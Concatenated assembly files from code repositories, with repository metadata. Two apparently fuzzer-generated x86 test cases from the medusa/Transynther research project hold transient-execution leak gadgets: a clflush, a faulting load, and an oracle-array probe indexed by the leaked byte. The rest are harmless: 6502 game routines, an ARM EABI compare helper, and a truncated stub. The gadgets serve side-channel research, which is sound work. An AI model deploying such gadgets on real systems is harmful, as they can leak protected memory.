{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4, 'NT': True, 'same': False, 'congruent': 3}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 7}} {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 7}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}} {'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': True}} {'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 4}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 10}, 'OP': 'LOAD'} {'34': 73} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */

20.608911

218

0.648571

059f766942e784a03d2945a73395b84436762188

9,069

asm

Assembly

Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xa0_notsx.log_21829_341.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

9

2020-08-13T19:41:58.000Z

2022-03-30T12:22:51.000Z

Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xa0_notsx.log_21829_341.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

1

2021-04-29T06:29:35.000Z

2021-05-13T21:02:30.000Z

Transynther/x86/_processed/AVXALIGN/_st_sm_/i9-9900K_12_0xa0_notsx.log_21829_341.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

3

2020-07-14T17:07:07.000Z

2022-03-21T01:12:22.000Z

.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r15 push %r8 push %r9 push %rcx push %rdi push %rsi lea addresses_WC_ht+0x164fc, %r15 nop nop nop xor %r8, %r8 movb $0x61, (%r15) nop nop nop cmp $58316, %r13 lea addresses_D_ht+0x40d8, %rsi nop inc %r8 mov (%rsi), %r10w nop dec %rsi lea addresses_normal_ht+0xbd62, %rsi nop add $58788, %rcx mov $0x6162636465666768, %r10 movq %r10, (%rsi) and $61485, %r10 lea addresses_D_ht+0xcdec, %rsi lea addresses_WC_ht+0x15efc, %rdi xor %r9, %r9 mov $122, %rcx rep movsq nop nop nop nop nop and $41046, %r8 lea addresses_D_ht+0x141bc, %rcx nop nop xor %rdi, %rdi mov $0x6162636465666768, %r8 movq %r8, %xmm0 vmovups %ymm0, (%rcx) nop nop nop xor %r9, %r9 lea addresses_D_ht+0x1a21c, %rdi nop nop nop nop nop cmp %r13, %r13 movb (%rdi), %r9b nop inc %rdi lea addresses_WT_ht+0xf8fc, %rsi lea addresses_UC_ht+0x1b7c, %rdi clflush (%rsi) clflush (%rdi) add $41964, %r9 mov $38, %rcx rep movsw dec %rsi lea addresses_D_ht+0x907c, %rsi lea addresses_normal_ht+0x1ab7c, %rdi nop nop nop nop sub $58888, %r9 mov $60, %rcx rep movsb nop nop nop nop nop cmp $37069, %r8 lea addresses_A_ht+0xa5b4, %rdi add $20638, %r9 mov (%rdi), %r10d and %rcx, %rcx lea addresses_A_ht+0xc0c4, %r10 nop nop nop nop and $62230, %r9 movw $0x6162, (%r10) nop nop xor $4159, %r9 lea addresses_WC_ht+0x940, %rsi clflush (%rsi) nop nop cmp %r13, %r13 movups (%rsi), %xmm5 vpextrq $1, %xmm5, %r15 nop add %rcx, %rcx lea addresses_D_ht+0x186fc, %rsi nop nop nop nop nop add %r10, %r10 vmovups (%rsi), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $1, %xmm1, %rcx nop nop nop nop nop xor $52687, %rdi lea addresses_UC_ht+0x1bbfc, %rsi lea addresses_WT_ht+0x1813c, %rdi clflush (%rsi) nop nop nop nop nop sub %r9, %r9 mov $35, %rcx rep movsl xor %r13, %r13 lea addresses_A_ht+0x247c, %rsi lea addresses_WT_ht+0x174fc, %rdi nop nop cmp $34554, %r13 mov $14, %rcx rep movsb nop nop nop nop and $31065, %r10 lea addresses_normal_ht+0x7c7c, %r13 nop nop nop sub $29555, %r9 mov (%r13), %r15w nop nop nop xor $37483, %rdi pop %rsi pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r9 push %rbp push %rcx push %rdi push %rsi // Store lea addresses_normal+0x1e85c, %rbp nop nop add $53757, %rdi mov $0x5152535455565758, %rsi movq %rsi, (%rbp) nop nop nop xor %r11, %r11 // Store lea addresses_normal+0x15c7c, %r14 nop nop nop nop and $34815, %rcx mov $0x5152535455565758, %rsi movq %rsi, (%r14) nop nop nop and %rbp, %rbp // Load lea addresses_normal+0x15c7c, %rsi nop inc %r14 movb (%rsi), %r9b nop nop nop sub %r14, %r14 // Store lea addresses_D+0xce2c, %r11 nop add %r9, %r9 mov $0x5152535455565758, %rdi movq %rdi, %xmm7 movups %xmm7, (%r11) inc %r9 // Store lea addresses_WT+0x1107c, %rbp nop nop add $38015, %r11 movl $0x51525354, (%rbp) nop xor %rdi, %rdi // Faulty Load lea addresses_normal+0x15c7c, %rcx clflush (%rcx) nop nop nop and %r14, %r14 mov (%rcx), %r11w lea oracles, %r14 and $0xff, %r11 shlq $12, %r11 mov (%r14,%r11,1), %r11 pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 32, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 5}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}} {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 4}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 9}} [Faulty Load] {'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 2, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 6}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 1}} {'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 6}} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 5, 'same': False}} {'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}} {'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 3}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 3}} {'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 7, 'same': False}} {'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 6}, 'OP': 'LOAD'} {'58': 21829} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */

31.70979

2,999

0.653986

9c8e5df42444b46a0e6ffb2c6d3a8eabcb46393a

11,532

asm

Assembly

CODE/ZUMPUS/zumpus_funcs.asm

mspeculatrix/Zolatron64

030c8c60ae4776bcc75c7b00cb061c265549e235

[ "MIT" ]

null

CODE/ZUMPUS/zumpus_funcs.asm

mspeculatrix/Zolatron64

030c8c60ae4776bcc75c7b00cb061c265549e235

[ "MIT" ]

null

CODE/ZUMPUS/zumpus_funcs.asm

mspeculatrix/Zolatron64

030c8c60ae4776bcc75c7b00cb061c265549e235

[ "MIT" ]

1

2021-12-01T17:51:03.000Z

; zumpus_funcs.asm \ ------------------------------------------------------------------------------ \ --- get_decimal_input \ --- Read a decimal number from STDIN_BUF \ ------------------------------------------------------------------------------ \ ON EXIT : - 16-bit unsigned integer in MATH_TMP16, MATH_TMP16+1 \ - Error code in FUNC_ERR \ ------------------------------------------------------------------------------ .get_decimal_input ldx #0 ; Offset for STDIN_BUF stz MATH_TMP16 ; To hold our result stz MATH_TMP16 + 1 stz FUNC_ERR .get_decimal_char txa ; Transfer a copy of the X offset to Y tay ; " iny ; Make Y an index to the char _after_ this one lda STDIN_BUF,X beq get_decimal_done ; If it's a 0 terminator, we're done cmp #' ' beq get_decimal_char ; Ignore spaces cmp #'0' bcc get_decimal_error ; Less than '0' cmp #$3A ; ASCII for ':', char above '9' bcs get_decimal_error ; More than '9' sec sbc #$30 ; Turn ASCII value into integer digit clc ; Now got the value of the digit in A adc MATH_TMP16 ; Add this value to our result sta MATH_TMP16 bcs get_decimal_carry ; Did we carry? jmp get_decimal_mult .get_decimal_carry inc MATH_TMP16+1 .get_decimal_mult ; Check if we need to multiply value by 10 lda STDIN_BUF,Y ; Look ahead to next char beq get_decimal_done ; If a zero, the current one is the last digit jsr uint16_times10 ; Otherwise, multiply the current sum by 10 .get_decimal_next ; Get the next digit inx jmp get_decimal_char .get_decimal_error lda #NOT_A_NUMBER sta FUNC_ERR .get_decimal_done rts \ ------------------------------------------------------------------------------ \ --- uint16_times10 \ --- Multiply 16-bit integer by 10. \ ------------------------------------------------------------------------------ \ ON ENTRY: 16-bit unsigned number in MATH_TMP16, MATH_TMP16+1 \ ON EXIT : - 16-bit unsigned number in MATH_TMP16, MATH_TMP16+1 \ - Carry bit will be set if 16-bit overflow occurred. \ - Error code in FUNC_ERR \ ------------------------------------------------------------------------------ .uint16_times10 phx ldx #1 ; Multiply high byte first .uint16_times10_outer ldy #0 lda MATH_TMP16,X sta $0512,X sta TMP_VAL .uint16_times10_loop clc adc TMP_VAL bcs uint16_times10_carry jmp uint16_times10_next_inc .uint16_times10_carry cpx #0 bne uint16_times10_next_inc ; We're in the high byte, so skip... inc MATH_TMP16+1 .uint16_times10_next_inc iny cpy #9 beq uint16_times10_next_byte jmp uint16_times10_loop .uint16_times10_next_byte sta MATH_TMP16,X cpx #0 beq uint16_times10_done dex jmp uint16_times10_outer .uint16_times10_done plx rts .init_check_unique phx stz FUNC_RESULT cpy #0 beq init_check_random_done tya ; Location offset is in Y - use a copy in X tax .init_check_random_next dex ; Decrement to compare with previous location lda RANDOM_LOCS,Y cmp RANDOM_LOCS,X bne init_check_random_chk ; Go check if we're at the end of the locations inc FUNC_RESULT jmp init_check_random_done .init_check_random_chk cpx #0 bne init_check_random_next .init_check_random_done plx rts .list_locs ; FOR DEBUGGING ONLY ldx #0 .list_locs_loop lda RANDOM_LOCS,X jsr OSB2HEX jsr OSWRSBUF lda #' ' jsr OSWRCH inx cpx #NUM_LOCS beq list_locs_done jmp list_locs_loop .list_locs_done lda #CHR_LINEEND jsr OSWRCH rts \ Assumes the current room number is in A. \ Assumes the three bytes to which you want to store the room numbers start at \ the address pointed to by TMP_ADDR_A. .find_adjacent_rooms clc asl A ; Need to multiply by 4 asl A tax ; Offset counter for lookup table ldy #0 ; Offset counter for storing numbers .find_adjacent_rooms_next lda connections,X sta (TMP_ADDR_A),Y iny inx cpy #3 beq find_adjacent_rooms_done jmp find_adjacent_rooms_next .find_adjacent_rooms_done rts .set_player_connecting_rooms lda #<P_CONN_ROOMS sta TMP_ADDR_A lda #>P_CONN_ROOMS sta TMP_ADDR_A+1 lda PLAYER_LOC jsr find_adjacent_rooms rts .show_connecting_rooms LOAD_MSG connecting_rooms_msg jsr OSWRMSG ldx #0 .show_connecting_rooms_next lda P_CONN_ROOMS,X phx jsr print_room_num plx lda #' ' jsr OSWRCH inx cpx #3 beq show_connecting_rooms_done jmp show_connecting_rooms_next .show_connecting_rooms_done NEWLINE rts .current_room LOAD_MSG current_room_msg jsr OSWRMSG lda PLAYER_LOC jsr print_room_num NEWLINE rts .staple_count lda STAPLE_COUNT pha beq staples_none LOAD_MSG staple_count_msg jsr OSWRMSG pla clc adc #$30 ; To get ASCII char sta BARLED_DAT jsr OSWRCH LOAD_MSG staple_count_msg_end jsr OSWRMSG jmp staple_count_end .staples_none LOAD_MSG staple_count_none_msg jsr OSWRMSG .staple_count_end lda #' ' jsr OSWRCH ldx STAPLE_COUNT .staple_loop lda #91 ; Open square bracket jsr OSWRCH dex bne staple_loop rts .print_room_num ; location in A inc A jsr uint8_decstr jsr OSWRSBUF rts .status_update jsr current_room jsr set_player_connecting_rooms jsr show_connecting_rooms jsr staple_count NEWLINE jsr warnings NEWLINE LOAD_MSG debug_heading ; ---- THIS IS ALL DEBUGGING STUFF jsr OSWRMSG lda ZUMPUS_LOC jsr print_room_num NEWLINE LOAD_MSG bat1_msg jsr OSWRMSG lda BAT1_LOC jsr print_room_num NEWLINE LOAD_MSG bat2_msg jsr OSWRMSG lda BAT2_LOC jsr print_room_num NEWLINE LOAD_MSG pit1_msg jsr OSWRMSG lda PIT1_LOC jsr print_room_num NEWLINE LOAD_MSG pit2_msg jsr OSWRMSG lda PIT2_LOC jsr print_room_num NEWLINE rts \ ------------------------------------------------------------------------------ \ --- uint8_mod8 \ --- MOD/DIV an 8-bit number by another 8-bit number \ ------------------------------------------------------------------------------ \ ON ENTRY: - A must contain the dividend - the number to be modded \ - X must contain the divisor \ ON EXIT : - FUNC_RESULT contains remainder \ - X contains quotient (number of divisions. X=0 if num < divisor) .uint8_mod8 stx TMP_VAL ldx #0 .uint8_mod8_loop sta FUNC_RESULT sec sbc TMP_VAL bcc uint8_mod8_result ; We've gone too far inx jmp uint8_mod8_loop .uint8_mod8_result rts \ ------------------------------------------------------------------------------ \ --- uint8_decstr \ --- Convert an 8-bit unsigned integer to a decimal string \ ------------------------------------------------------------------------------ \ ON ENTRY: A contains the number to be converted \ ON EXIT : STR_BUF contains decimal string representation, nul-terminated. .uint8_decstr stz TMP_IDX ; Keep track of digits in buffer stz STR_BUF ; Set nul terminator at start of buffer .uint8_decstr_next_digit ldx #10 ; Divisor for MOD function jsr uint8_mod8 ; FUNC_RESULT contains remainder, X contains quotient txa ; Transfer quotient to A as dividend for next round pha ; Protect it for now ldy TMP_IDX ; Use the index as an offset .uint8_decstr_add_loop lda STR_BUF,Y ; Load whatever is currently at the index position iny sta STR_BUF,Y ; Move it to the next position dey cpy #0 ; If the index is 0, we've finished with moving digits beq uint8_decstr_add_loop_done dey ; Otherwise, decrement the offset and go around again jmp uint8_decstr_add_loop .uint8_decstr_add_loop_done inc TMP_IDX ; Increment our digit index lda FUNC_RESULT ; Get the remainder from the MOD operation clc adc #$30 ; Add $30 to get the ASCII code sta STR_BUF ; And store it in the first byte of the buffer pla ; Bring back that quotient, as dividend for next loop cpx #0 ; If it's 0, we're done... beq uint8_decstr_done jmp uint8_decstr_next_digit .uint8_decstr_done rts \ ------------------------------------------------------------------------------ \ --- uint16_decstr \ --- Convert a 16-bit unsigned integer to a decimal string \ ------------------------------------------------------------------------------ \ ON ENTRY: 16-bit number in MATH_TMP16, MATH_TMP16+1 \ ON EXIT : STR_BUF contains decimal string representation, nul-terminated. .uint16_decstr ; to come rts \ ------------------------------------------------------------------------------ \ --- roll_dice \ --- Get a random number in range 0..59 or random true/false value \ ------------------------------------------------------------------------------ \ A 'threshold' value (in Y) will be used to determine a true (1) or false (0) \ return value. The rule is: \ Counter < threshold - FALSE \ Counter >= threshold - TRUE \ If you don't care about a true/false value, then don't worry about what's \ in Y. \ ON ENTRY: - X must contain the divisor for MODding, or 0 if no MOD needed. \ - Y should contain the threshold value - if a true/false value \ is required. \ ON EXIT : - A will contain the actual value of the counter MODded by X. \ - FUNC_RESULT will contain the true/false value (0 or 1) \ ------------------------------------------------------------------------------ .roll_dice stz FUNC_RESULT ; Set to 0 (false) by default lda VIAC_T1CL ; Put Counter value in X cmp #$FF ; Sometimes this pops up - don't know why bne roll_dice_mod lda #0 .roll_dice_mod cpx #0 ; Do we want to mod? beq roll_dice_store ; No, if X=0 jsr uint8_mod8 lda FUNC_RESULT .roll_dice_store sty TEST_VAL ; Put threshold value in TEST_VAL cmp TEST_VAL ; Compare to our random number in A bcc roll_dice_end ; random num < threshold, so default value is fine ldy #1 ; Otherwise, return a true value sty FUNC_RESULT .roll_dice_end rts .warnings ldy #0 ldx #0 lda FLAGS and #%11111100 ; Clear the PIT/BAT warning flags sta FLAGS .warning_loop lda P_CONN_ROOMS,X cmp ZUMPUS_LOC beq warning_zumpus cmp BAT1_LOC beq warning_bat cmp BAT2_LOC beq warning_bat cmp PIT1_LOC beq warning_pit cmp PIT2_LOC beq warning_pit jmp warning_next .warning_zumpus LOAD_MSG warning_zumpus_msg jsr OSWRMSG NEWLINE jmp warning_next .warning_bat lda FLAGS and #BAT_WARNING_ISSUED bne warning_next ; Means the flag was already set lda FLAGS ora #BAT_WARNING_ISSUED sta FLAGS LOAD_MSG warning_bat_msg jsr OSWRMSG NEWLINE jmp warning_next .warning_pit lda FLAGS and #PIT_WARNING_ISSUED bne warning_next ; Means the flag was already set lda FLAGS ora #PIT_WARNING_ISSUED sta FLAGS LOAD_MSG warning_pit_msg jsr OSWRMSG NEWLINE .warning_next inx cpx #3 beq warnings_done jmp warning_loop .warnings_done rts

28.126829

80

0.603798

482a885cc92b3a25dc0750ada3474a80d5a0fc9d

1,029

asm

Assembly

runtime/sources/arm/aeabi_ulcmp.asm

wdv4758h/Yeppp-

deeca59a88bc2b014be802fd575757f7c26c180e

[ "BSD-3-Clause" ]

30

2015-09-18T00:52:22.000Z

2021-11-03T17:44:30.000Z

runtime/sources/arm/aeabi_ulcmp.asm

rguthrie3/Yeppp-Mirror

23cc725a7489d376558bef3e92e31fda014b6c47

[ "BSD-3-Clause" ]

1

2017-02-09T04:53:29.000Z

runtime/sources/arm/aeabi_ulcmp.asm

rguthrie3/Yeppp-Mirror

23cc725a7489d376558bef3e92e31fda014b6c47

[ "BSD-3-Clause" ]

6

2017-02-09T03:05:32.000Z

2022-03-17T06:50:19.000Z

/* * Yeppp! library runtime infrastructure * * This file is part of Yeppp! library and licensed under MIT license. * See runtime/LICENSE.txt for details. * */ .include "common.inc" .syntax unified /** * @brief EABI helper function which performs three-way comparison of two unsigned 64-bit integers. * @param a The first unsigned 64-bit integer to be compared. Passed in registers r0 (low part) and r1 (high part). * @param b The second unsigned 64-bit integer to be compared. Passed in registers r2 (low part) and r2 (high part). * @retval 1 If a is greater than b (unsigned comparison). * @retval 0 If a equals b. * @retval -1 If a is less than b (unsigned comparison). * @note To comply with ARM EABI speficiation this function should not change only registers other than r0, r1, r2, r3, and r12. */ BEGIN_ARM_FUNCTION __aeabi_ulcmp .arch armv5t CMP r1, r3 SUBSEQ r0, r2 @ If a == b then r0 is set to 0 MOVHI r0, #1 MOVLO r0, #-1 END_ARM_FUNCTION __aeabi_ulcmp

35.482759

129

0.693878

d52f1ba109087d120e2a1ec1bd10045685e34bba

2,424

asm

Assembly

Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_3_1169.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

9

2020-08-13T19:41:58.000Z

2022-03-30T12:22:51.000Z

Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_3_1169.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

1

2021-04-29T06:29:35.000Z

2021-05-13T21:02:30.000Z

Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48_notsx.log_3_1169.asm

ljhsiun2/medusa

67d769b8a2fb42c538f10287abaf0e6dbb463f0c

[ "MIT" ]

3

2020-07-14T17:07:07.000Z

2022-03-21T01:12:22.000Z

.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0xd4c7, %r15 xor %r14, %r14 mov (%r15), %rbx and $6136, %r10 lea addresses_UC_ht+0x130c7, %rsi lea addresses_A_ht+0x1a807, %rdi nop nop xor $7120, %r14 mov $90, %rcx rep movsl nop nop nop cmp $48212, %r10 lea addresses_D_ht+0x198c7, %rsi lea addresses_WT_ht+0x4e37, %rdi nop nop nop nop nop and $38306, %rax mov $3, %rcx rep movsw nop nop nop nop cmp %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r9 push %rax push %rbp push %rdi push %rdx push %rsi // Store mov $0x6de6510000000a87, %r9 nop nop nop nop nop cmp %rax, %rax movw $0x5152, (%r9) xor %rax, %rax // Store lea addresses_normal+0x118f7, %r10 nop nop sub %rsi, %rsi mov $0x5152535455565758, %rdx movq %rdx, (%r10) xor $38177, %rsi // Store mov $0x967, %rax clflush (%rax) nop nop nop nop add $54252, %r10 mov $0x5152535455565758, %rdx movq %rdx, (%rax) nop nop sub $31012, %rbp // Faulty Load lea addresses_A+0xb0c7, %r9 and %rdx, %rdx mov (%r9), %rsi lea oracles, %rdx and $0xff, %rsi shlq $12, %rsi mov (%rdx,%rsi,1), %rsi pop %rsi pop %rdx pop %rdi pop %rbp pop %rax pop %r9 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_NC', 'congruent': 6}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal', 'congruent': 4}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_P', 'congruent': 5}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_normal_ht', 'congruent': 10}} {'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}} {'dst': {'same': True, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}} {'00': 3} 00 00 00 */

18.9375

148

0.64604

2db80255a231585d1adbad2e9cb567caf7871ab9

374

asm

Assembly

programs/oeis/080/A080817.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

22

2018-02-06T19:19:31.000Z

2022-01-17T21:53:31.000Z

programs/oeis/080/A080817.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

41

2021-02-22T19:00:34.000Z

2021-08-28T10:47:47.000Z

programs/oeis/080/A080817.asm

neoneye/loda

afe9559fb53ee12e3040da54bd6aa47283e0d9ec

[ "Apache-2.0" ]

5

2021-02-24T21:14:16.000Z

2021-08-09T19:48:05.000Z

